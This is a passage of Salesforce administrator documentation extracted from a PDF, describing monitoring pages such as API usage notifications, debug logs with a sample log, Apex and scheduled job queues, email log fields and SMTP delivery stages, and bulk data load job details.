The name of the rule used to escalate the case.

Rule Entry
The order in which the rule entry will be processed. A rule entry is a condition that determines how a case escalation
rule is processed. Each escalation rule can have a maximum of 3000 rule entries.

Escalation Action
The time criteria specified for the case to escalate as defined in the rule entry.

Ignore Business Hours


Indicates if the Ignore Business Hours checkbox is selected on the rule entry, meaning that the rule entry is in
effect at all times and ignores your organization's business hours.

Escalate At
The date and time at which the case will escalate as defined in the rule entry. Dates and times display in the timezone
of the user viewing the escalation rule queue.

704
Monitoring About API Usage Notifications

Added Date
The date and time at which the case was added to the queue. Dates and times display in the timezone of the user
viewing the escalation rule queue.

The filter is not case-sensitive. For more information on filters, see Entering Filter Criteria on page 2163.

To cancel pending actions:

1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all
currently displayed items.
2. Click Delete. Salesforce.com cancels the pending action.

See Also:
Managing Escalation Rules
Viewing and Editing Escalation Rules

About API Usage Notifications


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view, create, edit, or delete notifications: “API Enabled”

When you create a request usage notification, you specify an administrator to receive an email notification whenever your
organization exceeds a specified limit for the number of API requests made in a specified span of hours. For more information
on API request limits, see Force.com API Usage Limits on page 1659.
To view existing API usage notifications, click Setup ➤ Monitoring ➤ API Usage Notifications.
From the notifications list, you can do any of the following:

• Click Edit and Del to edit or delete an existing notification.


• View the name of the user who will receive the notification.
• View the notification interval, which defines the frequency at which the notifications are sent. For example, if the notification
interval is four hours, a notification will be sent only if the last notification was sent at least four hours ago. Thus, during
a 24 hour period, a maximum of six notifications will be sent.
• View the percent of the limit which, if exceeded, triggers a notification to be sent. For example, if your organization has
a limit of 1,000,000 requests, and you set a threshold percentage of 60 (60%) and a notification interval of 24 hours, when
600,000 API requests have been sent in a 24 hour period, the specified user receives a notification.
• View the name of the user who created the notification and when the notification was created, as well as the last time the
notification was modified, and the name of the user who made the modification.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. Additional items are available for display, including the limit ID. To edit or delete any view you
created, select it from the View drop-down list and click Edit.

705
Monitoring Viewing API Usage Notifications

To create a new notification, click New.


You can create up to ten notifications per organization.

See Also:
Creating and Editing API Usage Notifications
Viewing API Usage Notifications
Documentation Resources for Force.com Developers

Viewing API Usage Notifications


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view, create, edit, or delete notifications: “API Enabled”

On the API usage notifications detail page, you can view information about a notification:

• Notification Recipient. The username for the person to whom the email notification is sent.
• Threshold. The percent of the usage limit that, when reached, triggers an email notification.
• Notification Interval (Hours). The frequency at which the notifications are sent. For example, if the notification interval
is four hours, a notification is sent only if the last notification was sent at least four hours ago. Thus, during a 24 hour
period, a maximum of six notifications will be sent.
• Created By. The user who created the notification request, and the time it was created.
• Modified By. The user who last edited the notification.

On this page, you can also create a new notification based on the values of the notification being displayed. Click Clone to
create a new notification with the current values populated in the new notification. You can edit the values before saving.

See Also:
About API Usage Notifications
Creating and Editing API Usage Notifications
Force.com API Usage Limits
Documentation Resources for Force.com Developers

706
Monitoring Creating and Editing API Usage Notifications

Creating and Editing API Usage Notifications


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view, create, edit, or delete notifications: “API Enabled”

On the API usage metering edit page accessible via Setup ➤ Monitoring ➤ API Usage Notifications, you can supply the
required values for a rate limiting notification:

• The Salesforce.com user who will receive the notifications.


• The threshold percentage—the percentage of the rate limit that, once exceeded in the specified notification interval, triggers
a notification to be sent to the specified user. Value must be between 0 and 100.
• The time period for which the number of requests is measured, in hours. For example, if the interval is 24, the rate must
be exceeded in the past 24 hours for a notification to be sent.
If you change the time period, the new time period does not take effect until after the next notification of the existing time
period. For example, assume you have set the time period to send notifications every hour. Then at 4:05 PM, you set the
time period to send notifications every 24 hours. A last notification from the old time period is sent at 5:00 PM. The next
notification would be sent at 5:00 PM the next day.

See Also:
About API Usage Notifications
Viewing API Usage Notifications
Force.com API Usage Limits
Documentation Resources for Force.com Developers

Monitoring the Mass Email Queue


Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To view your mass email or cancel your pending mass email: “Mass Email”
To view all mass email or cancel pending mass email in your “Modify All Data”
organization:

Use the mass email queue to view the status of scheduled mass emails and cancel mass emails if necessary.

707
Monitoring Monitoring Debug Logs

To view the mass emails you have scheduled, click Setup ➤ Email ➤ My Mass Emails. If you have permission to view all
mass emails in your organization, click Setup ➤ Monitoring ➤ Mass Email.
From these pages, you can:

• Click Cancel to cancel a pending mass email.


• Click Stop to stop a mass email that Salesforce.com is in the process of sending.
• Click Del to delete the record of a sent or canceled mass email from the queue.
• Click the name of the mass email to view details about an individual mass email.

See Also:
Sending Mass Email

Monitoring Debug Logs


Available in Enterprise, Developer and Unlimited Editions

User Permissions Needed


To view, retain, and delete debug logs: “Manage Users”

You can retain and manage the debug logs for specific users.
Transactions can be generated from the following:

• Salesforce.com user interface


• API
• executeanonymous calls
• Web services
• Email services

The following are the limits for debug logs:

• Once a user is added, that user can record up to 20 debug logs. After a user reaches this limit, debug logs stop being recorded
for that user. Click Reset on the Monitoring Debug logs page to reset the number of logs for that user back to 20. Any
existing logs are not overwritten.
• Each debug log can only be 2 MB.
• Each organization can retain up to 50 MB of debug logs. Once your organization has reached 50 MB of debug logs, the
oldest debug logs start being overwritten.

To view saved debug logs, click Setup ➤ Monitoring ➤ Debug Logs.


From this page, click New to specify a user that you want to retain debug logs for.
After you have specified a user or users to have their debug log retained, you can:

• Click Delete to stop retaining debug logs for a specific user.


• Click Reset to reset the number of debug logs for a particular user.

708
Monitoring Monitoring Debug Logs

• Click Filters to specify what gets logged for that user, as well as the amount of information.

After you have started retaining debug logs, you can:

• Click View to view a specific log's details.


• Click Download to download the debug log as an XML file.

See Also:
Force.com Apex Code Overview
What is a Debug Log?
Retaining Debug Logs
Viewing Debug Logs
Setting Debug Log Filters
Running Apex Unit Tests
Developer's Guide: Force.com Apex Code Developer's Guide

Retaining Debug Logs


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To view, retain, and delete debug logs: “Manage Users”

You can retain and manage the debug logs for specific users.
The following are the limits for debug logs:

• Once a user is added, that user can record up to 20 debug logs. After a user reaches this limit, debug logs stop being recorded
for that user. Click Reset on the Monitoring Debug logs page to reset the number of logs for that user back to 20. Any
existing logs are not overwritten.
• Each debug log can only be 2 MB.
• Each organization can retain up to 50 MB of debug logs. Once your organization has reached 50 MB of debug logs, the
oldest debug logs start being overwritten.

To specify that a user should have his or her debug logs retained:

1. Click Setup ➤ Monitoring ➤ Debug Logs, then click New.


2. Click the checkbox next to the user or users for whom you want to retain debug logs. Only users with a checkbox next to
their names don't currently have their debug logs retained.

709
Monitoring Monitoring Debug Logs

3. Click Save.

See Also:
What is a Debug Log?
Monitoring Debug Logs
Viewing Debug Logs
Setting Debug Log Filters
Developer's Guide: Force.com Apex Code Developer's Guide

Viewing Debug Logs


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To use the System Log console: “View All Data”
To use the text entry box: “Author Apex”

You can retain and manage the debug logs for specific users.
To view the details of a debug log, click Setup ➤ Monitoring ➤ Debug Logs, and then click View next to the debug log
you want to examine. Click Download to download the log as an XML file.
The debug log contains information about the transaction, such as if it was successful, the size of the log (in bytes), how long
the transaction took in milliseconds, and so on. The log itself contains additional information about the transaction, depending
on the filters set for the user.

Debug Log Details


After you generate a debug log, the type and amount of information listed depends on the filter values you set for the user.
However, the format for a debug is always the same.
A debug log has the following sections:
Header
The header contains the following information:
• The version of the API used during the transaction.
• The log category and level used to generate the log. For example:

The following is an example of a header:

18.0 DB,INFO;WORKFLOW,INFO;VALIDATION,INFO;CALLOUT,INFO;APEX_CODE,INFO;
APEX_PROFILING,INFO

In this example, the API version is 18.0, and the following debug log categories and levels have been set:

710
Monitoring Monitoring Debug Logs

Category Level
Database INFO
Workflow INFO
Validation INFO
Callout INFO
Apex Code INFO
Apex Profiling INFO

Execution Units
An execution unit is equivalent to a transaction. It contains everything that occurred within the transaction. The execution
is delimited by EXECUTION_START and EXECUTION_FINISHED.

Code Units
A code unit is a discrete unit of work within a transaction. For example, a trigger is one unit of code, as is a webService
method, or a validation rule.
Note: A class is not a discrete unit of code.

Units of code are indicated by CODE_UNIT_STARTED and CODE_UNIT_FINISHED. Units of work can imbed other
units of work. For example:

EXECUTION_STARTED
CODE_UNIT_STARTED|[EXTERNAL]execute_anonymous_apex
CODE_UNIT_STARTED|[EXTERNAL]MyTrigger on Account trigger event BeforeInsert for null
CODE_UNIT_FINISHED <-- The trigger ends
CODE_UNIT_FINISHED <-- The executeAnonymous ends
EXECUTION_FINISHED

Units of code include, but are not limited to, the following:
• Triggers
• Workflow invocations and time-based workflow
• Validation rules
• Approval processes
• Apex lead convert
• @future method invocations
• Web service invocations
• executeAnonymous calls
• Visualforce property accesses on Apex controllers
• Visualforce actions on Apex controllers
• Execution of the batch Apex start and finish methods, as well as each execution of the execute method
• Execution of the Apex System.Schedule execute method
• Incoming email handling

711
Monitoring Monitoring Debug Logs

Log Lines
Included inside the units of code. These indicate what code or rules are being executed, or messages being specifically
written to the debug log. For example:

Figure 2: Debug Log Line Example

Log lines are made up of a set of fields, delimited by a pipe (|). The format is:
• Timestamp—specified in the user's time zone, of the format HH:mm:ss.SSS
• Event identifier—the specific event that triggered the debug log being written to, such as SAVEPOINT_RESET or
VALIDATION_RULE, and any additional information logged with that event, such as the method name or the line
and character number where the code was executed.

Additional Log Data


In addition, the log contains the following information:
• Cumulative resource usage—Logged at the end of many code units, such as triggers, executeAnonymous, batch
Apex message processing, @future methods, Apex test methods, Apex web service methods, and Apex lead convert.
• Cumulative profiling information—Logged once at the end of the transaction. Contains information about the most
expensive queries (that used the most resources), DML invocations, and so on.

The following is an example debug log:

18.0 DB,INFO;WORKFLOW,FINEST;VALIDATION,INFO;APEX_CODE,FINE;APEX_PROFILING,FINE
13:17:05.382|EXECUTION_STARTED
13:17:05.382|CODE_UNIT_STARTED|[EXTERNAL]TestHandleProductPriceChange.testPriceChange
13:17:05.383|DML_BEGIN|[5,1]|Op:Insert|Type:Invoice_Statement__c|Rows:1
13:17:06.084|DML_END|[5,1]|
13:17:06.085|DML_BEGIN|[13,1]|Op:Insert|Type:Merchandise__c|Rows:2
13:17:06.115|DML_END|[13,1]|
13:17:06.117|DML_BEGIN|[21,1]|Op:Insert|Type:Line_Item__c|Rows:2
13:17:06.331|DML_END|[21,1]|
13:17:06.332|DML_BEGIN|[26,1]|Op:Update|Type:Merchandise__c|Rows:2
13:17:06.371|CODE_UNIT_STARTED|[EXTERNAL]HandleProductPriceChange on Merchandise
trigger event AfterUpdate for a00D0000008dfOw, a00D0000008dfOx
13:17:06.382|SOQL_EXECUTE_BEGIN|[3,1]|Aggregations:0|
SELECT j.Price__c, j.Merchandise__r.price__c
FROM Line_Item__c j
WHERE j.Invoice_Statement__r.Status__c = 'Negotiating'
AND j.Merchandise__r.id IN :Trigger.new
FOR UPDATE
13:17:06.450|SOQL_EXECUTE_END|[3,1]|Rows:2|Duration:68
13:17:06.452|DML_BEGIN|[14,1]|Op:Update|Type:Line_Item__c|Rows:2
13:17:06.470|DML_END|[14,1]|
13:17:06.471|CUMULATIVE_LIMIT_USAGE
13:17:06.471|LIMIT_USAGE_FOR_NS|(default)|
Number of SOQL queries: 0 out of 100
Number of query rows: 0 out of 500
Number of SOSL queries: 0 out of 20
Number of DML statements: 4 out of 100
Number of DML rows: 7 out of 500
Number of script statements: 10 out of 200000
Maximum heap size: 0 out of 1000000

712
Monitoring Monitoring Debug Logs

Number of callouts: 0 out of 10


Number of Email Invocations: 0 out of 10
Number of fields describes: 0 out of 10
Number of record type describes: 0 out of 10
Number of child relationships describes: 0 out of 10
Number of picklist describes: 0 out of 10
Number of future calls: 0 out of 10
Number of find similar calls: 0 out of 10
Number of System.runAs() invocations: 0 out of 20

13:17:06.471|TESTING_LIMITS
13:17:06.471|LIMIT_USAGE_FOR_NS|(default)|
Number of SOQL queries: 1 out of 20
Number of query rows: 2 out of 2000
Number of SOSL queries: 0 out of 0
Number of DML statements: 1 out of 20
Number of DML rows: 2 out of 200
Number of script statements: 4 out of 10400
Maximum heap size: 0 out of 200000
Number of callouts: 0 out of 10
Number of Email Invocations: 0 out of 10
Number of fields describes: 0 out of 10
Number of record type describes: 0 out of 10
Number of child relationships describes: 0 out of 10
Number of picklist describes: 0 out of 10
Number of future calls: 0 out of 10
Number of find similar calls: 0 out of 0
Number of System.runAs() invocations: 0 out of 20

13:17:06.471|TOTAL_EMAIL_RECIPIENTS_QUEUED|0
13:17:06.471|STATIC_VARIABLE_LIST
HandleProductPriceChange:openLineItems:400

13:17:06.471|CUMULATIVE_LIMIT_USAGE_END

13:17:06.472|CODE_UNIT_FINISHED
13:17:06.473|DML_END|[26,1]|
13:17:06.473|SOQL_EXECUTE_BEGIN|[29,1]|Aggregations:0|
SELECT id, Price__c FROM Line_Item__c WHERE id IN :lineItems
13:17:06.481|SOQL_EXECUTE_END|[29,1]|Rows:2|Duration:8
13:17:06.482|CUMULATIVE_LIMIT_USAGE
13:17:06.482|LIMIT_USAGE_FOR_NS|(default)|
Number of SOQL queries: 1 out of 100
Number of query rows: 2 out of 500
Number of SOSL queries: 0 out of 20
Number of DML statements: 4 out of 100
Number of DML rows: 7 out of 500
Number of script statements: 13 out of 200000
Maximum heap size: 0 out of 1000000
Number of callouts: 0 out of 10
Number of Email Invocations: 0 out of 10
Number of fields describes: 0 out of 10
Number of record type describes: 0 out of 10
Number of child relationships describes: 0 out of 10
Number of picklist describes: 0 out of 10
Number of future calls: 0 out of 10
Number of find similar calls: 0 out of 10
Number of System.runAs() invocations: 0 out of 20

13:17:06.482|TESTING_LIMITS
13:17:06.482|LIMIT_USAGE_FOR_NS|(default)|
Number of SOQL queries: 1 out of 20
Number of query rows: 2 out of 2000
Number of SOSL queries: 0 out of 0
Number of DML statements: 1 out of 20
Number of DML rows: 2 out of 200
Number of script statements: 5 out of 10400

713
Monitoring Monitoring Scheduled Jobs

Maximum heap size: 0 out of 200000


Number of callouts: 0 out of 10
Number of Email Invocations: 0 out of 10
Number of fields describes: 0 out of 10
Number of record type describes: 0 out of 10
Number of child relationships describes: 0 out of 10
Number of picklist describes: 0 out of 10
Number of future calls: 0 out of 10
Number of find similar calls: 0 out of 0
Number of System.runAs() invocations: 0 out of 20

13:17:06.482|TOTAL_EMAIL_RECIPIENTS_QUEUED|0
13:17:06.482|STACK_FRAME_VARIABLE_LIST
Frame0

13:17:06.482|CUMULATIVE_LIMIT_USAGE_END

13:17:06.482|CODE_UNIT_FINISHED
13:17:06.482|EXECUTION_FINISHED
13:17:06.497|CUMULATIVE_PROFILING_BEGIN
13:17:06.497|CUMULATIVE_PROFILING|SOQL operations|
Trigger.HandleProductPriceChange: line 3, column 1:
[SELECT j.Price__c, j.Merchandise__r.price__c
FROM Line_Item__c j
WHERE j.Invoice_Statement__r.Status__c = 'Negotiating'
AND j.Merchandise__r.id IN :Trigger.new
FOR UPDATE]: executed 1 time in 68 ms

13:17:06.497|CUMULATIVE_PROFILING|No profiling information for SOSL operations


13:17:06.497|CUMULATIVE_PROFILING|DML operations|
Trigger.HandleProductPriceChange: line 14, column 1: Update:
LIST:SOBJECT:Line_Item__c: executed 1 time in 17 ms

13:17:06.497|CUMULATIVE_PROFILING|No profiling information for method invocations


13:17:06.497|CUMULATIVE_PROFILING_END

See Also:
Setting Debug Log Filters
Monitoring Debug Logs
Setting Debug Log Filters
Developer's Guide: Force.com Apex Code Developer's Guide

Monitoring Scheduled Jobs


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To monitor scheduled jobs: “View Setup and Configuration”

The All Scheduled Jobs page lists all analytic snapshots, scheduled Apex jobs, and dashboards scheduled to refresh.

714
Monitoring Monitoring Background Jobs

Users with the “View Setup and Configuration” permission can view the All Scheduled Jobs page by clicking Setup ➤
Monitoring ➤ Scheduled Jobs.
From the All Scheduled Jobs page, users with the appropriate permissions can:

• Click Del to permanently delete all instances of a scheduled job.


• View the details of a scheduled job, such as:

- The name of the scheduled job


- The name of the user who submitted the scheduled job
- The date and time at which the scheduled job was originally submitted
- The date and time at which the scheduled job started
- The next date and time at which the scheduled job will run
- The type of scheduled job, such as an analytic snapshot, a scheduled Apex job, or dashboard scheduled to refresh

See Also:
What is an Analytic Snapshot?
Scheduling a Dashboard Refresh

Monitoring Background Jobs


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To monitor background jobs: “View Setup and Configuration”

The All Background Jobs page lists all sharing-rule-recalculation jobs scheduled to run or currently in progress. You can view
the details of the background job, such as:

• The name of the background job


• The status of the background job, such as Abort Pending or Completed
• The name of the user who submitted the background job
• The date and time at which the background job was originally submitted
• The date and time when the background job finished

You can only monitor background jobs on this page. To abort a job, contact salesforce.com.

715
Monitoring Apex Job Queue

Apex Job Queue


Available in: Unlimited, Developer, and Enterprise Editions

The Apex job queue lists all Apex jobs that have been submitted for execution. Jobs that have completed execution are listed,
as well as those that are not yet finished, including:

• Apex methods with the future annotation that have not yet been executed. Such jobs are listed as Future in the Job Type
column, and do not have values in the Total Batches or Batches Processed columns.
• Scheduled Apex jobs that have not yet finished executing. Such jobs are listed as Scheduled Apex in the Job Type column,
and do not have values in the Total Batches or Batches Processed columns.
• Apex sharing recalculation batch jobs that have not yet finished execution. Such jobs are listed as Sharing Recalculation
in the Job Type column. The records in a sharing recalculation job are automatically split into batches. The Total Batches
column lists the total number of batches for the job. The Batches Processed column lists the number of batches that have
already been processed.
• Batch Apex jobs that have not yet finished execution. Such jobs are listed as Batch Apex in the Job Type column. The
records in a batch Apex job are automatically split into batches. The Total Batches column lists the total number of batches
for the job. The Batches Processed column lists the number of batches that have already been processed.

Note: Sharing recalculation batch jobs are currently available through a limited release program. For information on
enabling Apex sharing recalculation batch jobs for your organization, contact salesforce.com.

The Status column lists the current status of the job. The possible values are:

Status Description
Queued Job is awaiting execution
Processing Job is being processed
Aborted Job was aborted by a user
Completed Job completed with or without failures
Failed Job experienced a system failure

If one or more errors occur during batch processing, the Status Details column gives a short description of the first error. A
more detailed description of that error, along with any subsequent errors, is emailed to the user who started the running batch
class.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. This is especially useful if you want to view only future methods, or view only Apex batch jobs. To
edit or delete any view you created, select it from the View drop-down list and click Edit.
For any type of Apex job, you can click Abort Job in the Action column to stop all processing for that job.
Jobs related to the future annotation that have completed execution are removed from this list every seven days. Batch jobs
are not removed.

716
Monitoring What are Email Logs?

For more information about Apex, see the Force.com Apex Code Developer's Guide.

See Also:
Monitoring Scheduled Jobs
Force.com Apex Code Overview
Developer's Guide: Force.com Apex Code Developer's Guide

What are Email Logs?


Available in: All Editions

User Permissions Needed


To access email logs: “Modify All Data”

Email logs are CSV files that contain information about all email sent through Salesforce.com over the last 30 days. Logs
contain data such as:

• The email address of each email sender and recipient


• The date and time each email was sent
• The delivery status of each email
• Any error code associated with each email

You can use email logs to troubleshoot encountered errors.


To manage email logs, click Setup ➤ Monitoring ➤ Email Log Files.

• To request a new email log, click Request an Email Log. Due to the volume of email processed through Salesforce.com,
requests are queued in the order that they are received. Email logs should be available within 30 minutes of your request.
For more information, see Requesting an Email Log on page 718.
• The pending email log requests list provides the status on email log requests that have not yet completed. You can have a
maximum of three pending log requests at any time.
• The email log errors list provides descriptions for requests that failed.

- To resubmit a request that failed, click Resubmit.


- To delete a request that failed, click Del.

Caution: You cannot resubmit a failed request if it requires data that has exceeded the 30 day limit, or if you
already have three pending requests.

• To download an email log, click Download (.zip). Email logs are CSV files contained within a compressed file. Logs
contribute to your overall file storage limits. For more information, see Monitoring Resources on page 595.
• To delete an email log, click Del.

For a summary of the information returned from an email log, see Viewing Email Logs on page 718.

717
Monitoring What are Email Logs?

Requesting an Email Log


Available in: All Editions

User Permissions Needed


To access email logs: “Modify All Data”

To request a new email log for your organization:

1. Click Setup ➤ Monitoring ➤ Email Log Files.


2. Click Request an Email Log.
You can have a maximum of three pending log requests at one time. If you already have three pending requests, you cannot
request another log until at least one of those requests completes.
3. Enter a Start Time and End Time range for the email log you want to retrieve. Email logs are available for messages
sent within the past 30 days prior to your request.
Note: Each email log can span a maximum of seven days. To see email log data from a period of time greater than
seven days, create multiple requests.

4. Optionally, you can filter an email log to only include rows where a specific domain name or email address appears in a
field, such as Recipient or Message ID Header. To enter more than one filter term, separate each value with a comma.
If you leave this field blank, the log is not filtered and all email addresses are returned within the specified time range.
5. Enter the email addresses that you want to receive notification when the email log request is complete. Separate each email
address with a comma.

To clear a request and return to the email log overview page, click Cancel.

See Also:
Viewing Email Logs

Viewing Email Logs


Available in: All Editions

User Permissions Needed


To access email logs: “Modify All Data”

The following table describes the format of the log file and lists examples of its fields:

718
Monitoring What are Email Logs?

Column Field Description Example


A Date/Time The date and time the 3/06/2009 13:37
message was sent in GMT
B Internal Message ID The unique internal ID of the 16/A4-20983-88E21E84
message
C Event Indicates the final email event T
in the mail server. Events can
be one of the following values:
R - Reception
The email was
successfully received.
D - Delivery
The email was
successfully sent.
T - Transient Failure
The email transmission
was delayed.
Salesforce.com will retry
delivery over a 24 hour
period. The first retry
occurs five minutes after
the first transient failure,
the second occurs ten
minutes after that, the
third twenty minutes
after that, and so on.
P - Permanent Failure
The email could not be
delivered.

D Recipient The email address of the admin@acme.com


person to whom the email is
sent
E Sender The email address of the user@acme.com
person who sent the email
F Remote Host The IP address of the 10.0.0.1
application server that
delivered the email to the
email server
G Bytes Transferred The size of the email 11856
H User ID The Salesforce.com ID of the 00540000000rSXT
user who sent the email

719
Monitoring What are Email Logs?

Column Field Description Example


I Message ID Header The ID header at the 21749386.
beginning of every email 106091224027705044.
JavaMail.
sfdc@na2-app4-2-sjl.
ops.sfdc.net

J Retry Count The number of attempts made 11


to deliver the email
K Seconds in Queue The number of seconds the 300
email had to wait before being
delivered
L Delivery Stage The final stage the delivery during RCPT TO
was in before it was logged.
Below are the values of the
stages in the order that they
appear during the SMTP
sequence:
BANNER
The SMTP connection
response
EHLO
The beginning of the
session with the mail
server
STARTTLS
Establishes a secure
communication session
with the email server
MAIL FROM
Announces the sender of
the email
RCPT TO
Announces the recipient
of the email
DATA
Announces that the
subsequent text is the
email message

720
Monitoring What are Email Logs?

Column Field Description Example


BODY
The state when the body
of the email is being sent
to the recipient
RSET
Resets the server state,
ending the session
In addition, there are
responses that may appear at
any point during the delivery
sequence:
while not connected
The client is trying to
establish a connection
while idle
The client has connected,
but is not sending or
receiving any commands
reading confirmation
A command was sent and
the client is waiting for a
response
handshaking TLS
An error occurred while
trying to establish a
secure connection
out of band bounce
The receiving server
accepted a command, but
then for an unknown
reason rejected it
in unknown state
An unknown error has
occurred

M Relay Host The hostname of the relay.my.org


designated relay system
N Relay Port The port of the designated 587
relay system

721
Monitoring What are Email Logs?

Column Field Description Example


O Delivery Status After every delivery stage, a 421 no adequate
Notification three digit response code is servers
sent from the mail server. The
first number indicates whether
the command was successful
or unsuccessful; the second
digit indicates the type of
error; and the third provides
additional information to
resolve the potential problem.
The five possible values of the
first digit are:
1xx - Positive
Preliminary reply
The command was
accepted, but no response
has been sent
2xx - Positive
Completion reply
The requested action has
successfully completed
3xx - Positive
Intermediate reply
The command was
accepted, but the
requested action needs
more information
4xx - Transient
Negative Completion
reply
The command was not
accepted and the
requested action did not
occur. However, the error
condition is temporary
and the action may be
requested again.
5xx - Permanent
Negative Completion
reply
The command was not
accepted and the
requested action did not

722
Monitoring Monitoring Bulk Data Load Jobs

Column Field Description Example


occur
Every email service provider
implements the codes
differently, so there is no
comprehensive list for what
the second or third digits
indicate.
For more information on these
codes, view the official SMTP
documentation, section 4.2.1:
http://
www.ietf.org/rfc/rfc2821.txt
?number=2821

See Also:
What are Email Logs?

Monitoring Bulk Data Load Jobs


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To monitor bulk data load jobs: “Manage Data Integrations”

You can create update, or delete a large volume of records with the Bulk API, which is optimized for processing large sets of
data. It makes it simple to load, update, or delete data from a few thousand to millions of records. Processing a large amount
of records takes some time. This page allows you to monitor the progress of current jobs and the results of recent jobs.
Process a set of records by creating a job that contains one or more batches. The job specifies which object is being processed
(for example, Account, Opportunity) and what type of action is being used (insert, upsert, update, or delete). A batch is a set
of records sent to the server in an HTTP POST request. Each batch is processed independently by the server, not necessarily
in the order it is received.
To track the status of bulk data load jobs that are in progress or recently completed, click Setup ➤ Monitoring ➤ Bulk Data
Load Jobs.
The In Progress Jobs list contains the following columns, shown in alphabetical order:

Column Description
Job ID The unique, 15–character ID for this job.

723
Monitoring Monitoring Bulk Data Load Jobs

Column Description
Object The object type for the data being processed. All data in a job must be of a single object type.
Operation The processing operation for all the batches in the job. The valid values are:
• delete
• insert
• upsert
• update
• hardDelete

Progress The percentage of batches processed relative to the total number of batches submitted. Progress is not
shown when the job is open because the total number of batches in the job is not known until the job is
closed. Progress may not accurately reflect the number of records processed. Batches may not all contain
the same number of records and they may be processed at different speeds.
Records The number of records already processed. This number increases as more batches are processed.
Processed

Start Time The date and time when the job was submitted.
Status The current state of processing for the job. The valid values are:
• Open: The job has been created, and batches can be added to the job.
• Closed: No new batches can be added to this job. Batches associated with the job may be processed
after a job is closed. You cannot edit or save a closed job.
• Aborted: The job has been aborted.
• Failed: The job has failed. Batches that were successfully processed in the job cannot be rolled back.

Submitted By The name of the user that submitted the job.

The Completed Jobs list contains the following columns, shown in alphabetical order. Completed jobs are removed from the
list seven days after completion.

Column Description
End Time The date and time when the job completed.
Job ID The unique, 15–character ID for this job.
Object The object type for the data being processed. All data in a job must be of a single object type.
Operation The processing operation for all the batches in the job. The valid values are:
• delete
• insert
• upsert
• update
• hardDelete

Records The number of records already processed. This number increases as more batches are processed.
Processed

724
Monitoring Monitoring Bulk Data Load Jobs

Column Description
Start Time The date and time when the job was submitted.
Status The current state of processing for the job. The valid values are:
• Open: The job has been created, and batches can be added to the job.
• Closed: No new batches can be added to this job. Batches associated with the job may be processed
after a job is closed. You cannot edit or save a closed job.
• Aborted: The job has been aborted.
• Failed: The job has failed. Batches that were successfully processed in the job cannot be rolled back.

Submitted By The name of the user that submitted the job.

Time to The total time to complete the job.


Complete

See Also:
Viewing Bulk Data Load Job Details
Developer's Guide: Force.com Bulk API Developer's Guide

Viewing Bulk Data Load Job Details


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To monitor bulk data load jobs: “Manage Data Integrations”

You can create update, or delete a large volume of records with the Bulk API, which is optimized for processing large sets of
data. It makes it simple to load, update, or delete data from a few thousand to millions of records. Processing a large amount
of records takes some time. This page allows you to monitor the progress of current jobs and the results of recent jobs.
To view the details of a bulk data load job:

1. Click Setup ➤ Monitoring ➤ Bulk Data Load Jobs.


2. Click a Job ID link for a job.

The job detail page contains the following fields, shown in alphabetical order:

Field Description
Apex The number of milliseconds taken to process triggers and other processes related to the job data. This is
Processing the sum of the equivalent times in all batches in the job. This doesn't include the time used for processing
Time (ms) asynchronous and batch Apex operations. If there are no triggers, the value is 0.

725
Monitoring Monitoring Bulk Data Load Jobs

Field Description
API Active The number of milliseconds taken to actively process the job and includes the time tracked in the Apex
Processing Processing Time (ms) field, but doesn't include the time the job waited in the queue to be processed
Time (ms) or the time required for serialization and deserialization. This is the sum of the equivalent times in all
batches in the job.
API Version The API version for the job.
Completed The number of batches that have been completed for this job.
Batches

Concurrency The concurrency mode for processing batches. The valid values are:
Mode • parallel: Batches are processed in parallel mode. This is the default value.
• serial: Batches are processed in serial mode.

Content Type The content type for the job. The valid values are:
• CSV
• XML (default option)

End Time The date and time when the job completed.
External ID The name of the external ID field for an upsert operation.
Field

Failed The number of batches that have failed for this job.
Batches

Job ID The unique, 15–character ID for this job.


In Progress The number of batches that are in progress for this job.
Batches

Object The object type for the data being processed. All data in a job must be of a single object type.
Operation The processing operation for all the batches in the job. The valid values are:
• delete
• insert
• upsert
• update
• hardDelete

Progress The percentage of batches processed relative to the total number of batches submitted. Progress is not
shown when the job is open because the total number of batches in the job is not known until the job is
closed. Progress may not accurately reflect the number of records processed. Batches may not all contain
the same number of records and they may be processed at different speeds.
Queued The number of batches queued for this job.
Batches

Records The number of records that were not processed successfully in this job.
Failed

726
Monitoring Monitoring Bulk Data Load Jobs

Field Description
Records The number of records processed at the time the request was sent. This number increases as more batches
Processed are processed.
Retries The number of times that Salesforce.com attempted to save the results of an operation. The repeated
attempts are due to a problem, such as a lock contention.
Start Time The date and time when the job was submitted.
Status The current state of processing for the job. The valid values are:
• Open: The job has been created, and batches can be added to the job.
• Closed: No new batches can be added to this job. Batches associated with the job may be processed
after a job is closed. You cannot edit or save a closed job.
• Aborted: The job has been aborted.
• Failed: The job has failed. Batches that were successfully processed in the job cannot be rolled back.

Submitted By The name of the user that submitted the job.

Time to The total time to complete the job.


Complete

Total The number of milliseconds taken to process the job. This is the sum of the total processing times for all
Processing batches in the job.
Time (ms)

The job detail page includes a related list of all the batches for the job. The related list provides View Request and View
Response links for each batch. If the batch is a CSV file, the links return the request or response in CSV format. If the batch
is an XML file, the links return the request or response in XML format. These links are available for batches created in API
version 19.0 and later.
The batch related list contains the following fields, shown in alphabetical order:

Field Description
Apex The number of milliseconds taken to process triggers and other processes related to the batch data. If
Processing there are no triggers, the value is 0. This doesn't include the time used for processing asynchronous and
Time (ms) batch Apex operations.
API Active The number of milliseconds taken to actively process the batch, and includes Apex processing time. This
Processing doesn't include the time the batch waited in the queue to be processed or the time required for serialization
Time (ms) and deserialization.
Batch ID The ID of the batch. May be globally unique, but does not have to be.
End Time The date and time in the UTC time zone that processing ended. This is only valid when the state is
Completed.

Records The number of records that were not processed successfully in this batch.
Failed

